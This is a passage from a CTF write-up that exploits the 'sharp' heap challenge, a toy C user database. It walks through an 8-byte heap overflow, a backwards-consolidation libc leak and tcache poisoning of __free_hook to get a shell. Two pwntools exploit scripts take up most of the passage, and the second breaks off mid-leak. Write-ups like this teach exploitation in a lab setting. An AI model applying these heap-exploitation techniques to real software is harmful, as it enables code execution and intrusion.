<span class="n">database</span> <span class="o">*</span><span class="n">db</span><span class="p">;</span>
<span class="n">db</span> <span class="o">=</span> <span class="p">(</span><span class="n">database</span> <span class="o">*</span><span class="p">)</span><span class="n">initialize</span><span class="p">();</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Terrible C Database v0.1a</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">do</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="n">opt</span> <span class="o">=</span> <span class="n">menu</span><span class="p">(),</span> <span class="nb">false</span><span class="p">)</span> <span class="p">{</span>
<span class="n">switchD_00401a1c_caseD_0</span><span class="o">:</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Invalid choice.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">switch</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="p">{</span>
<span class="k">default</span><span class="o">:</span>
<span class="k">goto</span> <span class="n">switchD_00401a1c_caseD_0</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">add_user</span><span class="p">(</span><span class="n">db</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">print_database</span><span class="p">(</span><span class="n">db</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">remove_user</span><span class="p">(</span><span class="n">db</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">print_database</span><span class="p">(</span><span class="n">db</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">edit_user</span><span class="p">(</span><span class="n">db</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">print_database</span><span class="p">(</span><span class="n">db</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">swap_users</span><span class="p">(</span><span class="n">db</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">5</span><span class="p">:</span>
<span class="n">print_database</span><span class="p">(</span><span class="n">db</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">6</span><span class="p">:</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The main thing to consider on the above code is the following.</p>
<ul>
<li>Create entries</li>
<li>Edit those entries (8 byte heap overflow here)</li>
<li>Swap the entries on the db (not used on the exploit)</li>
<li>Remove entries</li>
<li>List entries</li>
</ul>
<h2 id="leak">Leak</h2>
<p>Since we know that we can abuse an <code class="highlighter-rouge">8 byte heap overflow</code> on “edit_user()”, the the <code class="highlighter-rouge">main plan</code> for getting a leak and a working exploit is the following.</p>
<ul>
<li>alloc 2 big enough chunks to not end in <code class="highlighter-rouge">tcache chunks</code> (>0x410) (with many <code class="highlighter-rouge">tcache</code> chunks in between), lets name it: <code class="highlighter-rouge">big_1 and big_2</code></li>
</ul>
<table>
<tbody>
<tr>
<td>dummy chunk</td>
<td>big_1</td>
<td>tcache_1</td>
<td>tcache_2</td>
<td>tcache_3</td>
<td>tcache_4</td>
<td>tcache_5</td>
<td>tcache_6</td>
<td>tcache_7</td>
<td>big_2</td>
<td>dummy_chunk_2</td>
</tr>
</tbody>
</table>
<p>(If anyone have any tip how to <code class="highlighter-rouge">draw / write</code> heaps layouts, please, let me know 😆 )</p>
<ul>
<li>Edit the chunk just before the <code class="highlighter-rouge">big_2</code> to overwrite the <code class="highlighter-rouge">big_2.prev_size and big_2.size</code>, and set the <code class="highlighter-rouge">prev_inuse</code> bit to <code class="highlighter-rouge">zero</code>.</li>
<li>Free the <code class="highlighter-rouge">big_1</code> chunk to place it to the <code class="highlighter-rouge">unsorted bin</code> and write the <code class="highlighter-rouge">correct pointers</code> to the <code class="highlighter-rouge">big_1.fd and big_1.bk</code></li>
<li>Edit the first <code class="highlighter-rouge">dummy_chunk</code>, to overwrite the <code class="highlighter-rouge">big_1.size</code>, to the same as <code class="highlighter-rouge">big_2.prev_size</code>, in order to pass the <code class="highlighter-rouge">same size check</code>.</li>
<li>Free the <code class="highlighter-rouge">big_2</code> chunk, since the <code class="highlighter-rouge">big_2.prev_inuse</code> bit is unset, it will make a <code class="highlighter-rouge">backwards consolidation</code>, with our previous <code class="highlighter-rouge">big_1</code> chunk, giving us a <code class="highlighter-rouge">biiiiiiiiig</code> chunk in the <code class="highlighter-rouge">unsorted bin</code> with many <code class="highlighter-rouge">tcache's</code> chunks inside of it.</li>
<li>Create another big chunk, (I did this by just repeating the process), with an specific size to force an <code class="highlighter-rouge">split chunk</code>, in order to get the <code class="highlighter-rouge">left_chunk.fd</code> just inside a previous allocated <code class="highlighter-rouge">tcache chunk</code>.</li>
</ul>
<p>With that in mind, the <code class="highlighter-rouge">skeleton</code>, becomes as follows</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span><span class="s">'-v'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./sharp"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">libc_name</span> <span class="o">=</span> <span class="s">"/lib/x86_64-linux-gnu/libc.so.6"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">libc_name</span><span class="p">)</span>
<span class="s">'''
libc.address
libc.symbols['printf']
'''</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc-2.31.so"</span><span class="p">})</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"challenge.ctf.games"</span><span class="p">,</span><span class="mi">31902</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">create_user</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">leak</span> <span class="o">=</span> <span class="bp">False</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"username: "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">leak</span><span class="p">:</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">remove_user</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"remove: "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">edit_user</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"edit: "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"username: "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">swap_user</span><span class="p">(</span><span class="n">idx_1</span><span class="p">,</span> <span class="n">idx_2</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"4"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"swap:"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx_1</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx_2</span><span class="p">))</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">list_user</span><span class="p">(</span><span class="n">leak</span> <span class="o">=</span> <span class="bp">False</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"5"</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">leak</span><span class="p">:</span>
<span class="n">f</span><span class="p">()</span>
<span class="s">'''
With edit_user, we can overwrite the chunk prev_size and size
'''</span>
<span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># 0
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"B"</span> <span class="o">*</span> <span class="mh">0x510</span><span class="p">)</span> <span class="c1"># 1
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"C"</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># 2
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"D"</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># 3
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"F"</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># 4
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"G"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># 5
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"I"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># 6
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"I"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># 7
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"H"</span> <span class="o">*</span> <span class="mh">0x510</span><span class="p">)</span> <span class="c1"># 8
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"/bin/sh;J"</span> <span class="p">)</span> <span class="c1"># 9
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"K"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># 10
</span>
<span class="n">payload_7</span> <span class="o">=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mh">0x70</span>
<span class="n">payload_7</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xb50</span> <span class="p">)</span>
<span class="n">payload_7</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x790</span><span class="p">)</span>
<span class="n">edit_user</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="n">payload_7</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Start the remove ? "</span><span class="p">)</span>
<span class="n">remove_user</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">payload_0</span> <span class="o">=</span> <span class="n">b</span><span class="s">'Y'</span> <span class="o">*</span> <span class="mh">0x70</span>
<span class="n">payload_0</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload_0</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xb50</span><span class="p">)</span>
<span class="n">edit_user</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">payload_0</span><span class="p">)</span>
<span class="n">remove_user</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Add new users? "</span><span class="p">)</span>
<span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"F"</span> <span class="o">*</span> <span class="mh">0x510</span><span class="p">,</span> <span class="n">leak</span> <span class="o">=</span> <span class="bp">True</span><span class="p">)</span> <span class="c1"># 9
</span><span class="n">list_user</span><span class="p">(</span><span class="n">leak</span> <span class="o">=</span> <span class="bp">True</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Entry: 1, user: "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x1ebbe0</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"[*] Libc leak: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"[*] Libc base: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="p">))</span>
</code></pre></div></div>
<p>The <code class="highlighter-rouge">big_2</code> chunk, before and after the <code class="highlighter-rouge">overflow</code></p>
<p><img src="assets/2021_09_19_21_17_27.png" alt="" /></p>
<p><img src="assets/2021_09_19_21_17_46.png" alt="" /></p>
<p>Getting the <code class="highlighter-rouge">big_1</code> chunk, with the custom <code class="highlighter-rouge">big_2.prev_size</code></p>
<p><img src="assets/2021_09_19_21_18_49.png" alt="" /></p>
<p>Free the <code class="highlighter-rouge">big_1</code> chunk, to place it into the <code class="highlighter-rouge">unsorted bin</code>.</p>
<p><img src="assets/2021_09_19_21_19_44.png" alt="" /></p>
<p>Edit the chunk before the <code class="highlighter-rouge">big_1</code>, in order to write a custom <code class="highlighter-rouge">big_1.size</code></p>
<p><img src="assets/2021_09_19_21_20_41.png" alt="" /></p>
<p>Free the <code class="highlighter-rouge">big_2</code> chunk in order to make a <code class="highlighter-rouge">backwards consolidation</code></p>
<p><img src="assets/2021_09_19_21_21_36.png" alt="" /></p>
<p>Add a new user with a custom size (0x510), and get the <code class="highlighter-rouge">libc leak</code> by reading our previously allocated chunks</p>
<p><img src="assets/2021_09_19_21_22_40.png" alt="" /></p>
<h2 id="exploit">Exploit</h2>
<p>Since we have a libc leak, the exploitation process is very <code class="highlighter-rouge">straight forward from now</code>, by doing a <code class="highlighter-rouge">tcache poisoning attack</code><br />
We have a perfect scenario to make this happens, since we have many <code class="highlighter-rouge">tcache chunks</code> already allocated in a <code class="highlighter-rouge">heap area</code> that is in our control. The only problem is that the <code class="highlighter-rouge">chunks are broken</code>, so we must first fix them.</p>
<p>By trail an error, I got the offset where the <code class="highlighter-rouge">tcache chunks</code> are placed inside the <code class="highlighter-rouge">big chunk</code>, in order to fix the <code class="highlighter-rouge">tcache_chunks.size</code>.</p>
<p>After that, free two of contigous <code class="highlighter-rouge">tcache</code> chunks, in reverse order (in order to get the <code class="highlighter-rouge">first one</code> on the top of the <code class="highlighter-rouge">tcache list</code>).<br />
What’s left ?</p>
<ul>
<li>Edit the <code class="highlighter-rouge">big_chunk</code>, in order to overwrite the <code class="highlighter-rouge">tcache.fd</code> to make it points to the <code class="highlighter-rouge">__free_hook</code>.</li>
<li>Get a dummy chunk to place the <code class="highlighter-rouge">__free_hook</code> in the top of <code class="highlighter-rouge">tcache[0x80]</code></li>
<li>Get another chunk and write the address of <code class="highlighter-rouge">system</code> on it</li>
<li>Call free with a chunk with the content of <code class="highlighter-rouge">/bin/sh\x00</code></li>
<li>Get the shell :D</li>
</ul>
<p>Before editing the <code class="highlighter-rouge">fd</code> pointer</p>
<p><img src="assets/2021_09_19_21_35_20.png" alt="" /></p>
<p>After editing the <code class="highlighter-rouge">fd</code> pointer</p>
<p><img src="assets/2021_09_19_21_35_59.png" alt="" /></p>
<p>Writing into the arbitrary chunk</p>
<p><img src="assets/2021_09_19_21_36_16.png" alt="" /></p>
<p>After that, just remove the chunk with the <code class="highlighter-rouge">/bin/sh</code> content</p>
<p><img src="assets/2021_09_19_21_37_27.png" alt="" /></p>
<p>The final exploit, is the following</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span><span class="s">'-v'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./sharp"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">libc_name</span> <span class="o">=</span> <span class="s">"/lib/x86_64-linux-gnu/libc.so.6"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">libc_name</span><span class="p">)</span>
<span class="s">'''
libc.address
libc.symbols['printf']
'''</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc-2.31.so"</span><span class="p">})</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"challenge.ctf.games"</span><span class="p">,</span><span class="mi">31902</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">create_user</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">leak</span> <span class="o">=</span> <span class="bp">False</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"username: "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">leak</span><span class="p">:</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">remove_user</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"remove: "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">edit_user</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"edit: "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"username: "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">swap_user</span><span class="p">(</span><span class="n">idx_1</span><span class="p">,</span> <span class="n">idx_2</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"4"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"swap:"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx_1</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx_2</span><span class="p">))</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">list_user</span><span class="p">(</span><span class="n">leak</span> <span class="o">=</span> <span class="bp">False</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"5"</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">leak</span><span class="p">:</span>
<span class="n">f</span><span class="p">()</span>
<span class="s">'''
With edit_user, we can overwrite the chunk prev_size and size
'''</span>
<span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># 0
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"B"</span> <span class="o">*</span> <span class="mh">0x510</span><span class="p">)</span> <span class="c1"># 1
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"C"</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># 2
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"D"</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># 3
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"F"</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># 4
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"G"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># 5
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"I"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># 6
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"I"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># 7
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"H"</span> <span class="o">*</span> <span class="mh">0x510</span><span class="p">)</span> <span class="c1"># 8
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"/bin/sh;J"</span> <span class="p">)</span> <span class="c1"># 9
</span><span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"K"</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">)</span> <span class="c1"># 10
</span>
<span class="n">payload_7</span> <span class="o">=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mh">0x70</span>
<span class="n">payload_7</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xb50</span> <span class="p">)</span>
<span class="n">payload_7</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x790</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"first, edit on 7"</span><span class="p">)</span>
<span class="n">edit_user</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="n">payload_7</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Start the remove ? "</span><span class="p">)</span>
<span class="n">remove_user</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">payload_0</span> <span class="o">=</span> <span class="n">b</span><span class="s">'Y'</span> <span class="o">*</span> <span class="mh">0x70</span>
<span class="n">payload_0</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload_0</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xb50</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"edit on 0"</span><span class="p">)</span>
<span class="n">edit_user</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">payload_0</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"remove on 7"</span><span class="p">)</span>
<span class="n">remove_user</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Add new users? "</span><span class="p">)</span>
<span class="n">create_user</span><span class="p">(</span><span class="n">b</span><span class="s">"F"</span> <span class="o">*</span> <span class="mh">0x510</span><span class="p">,</span> <span class="n">leak</span> <span class="o">=</span> <span class="bp">True</span><span class="p">)</span> <span class="c1"># 9
</span><span class="n">list_user</span><span class="p">(</span><span class="n">leak</span> <span class="o">=</span> <span class="bp">True</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Entry: 1, user: "</span><span class="p">)</span>
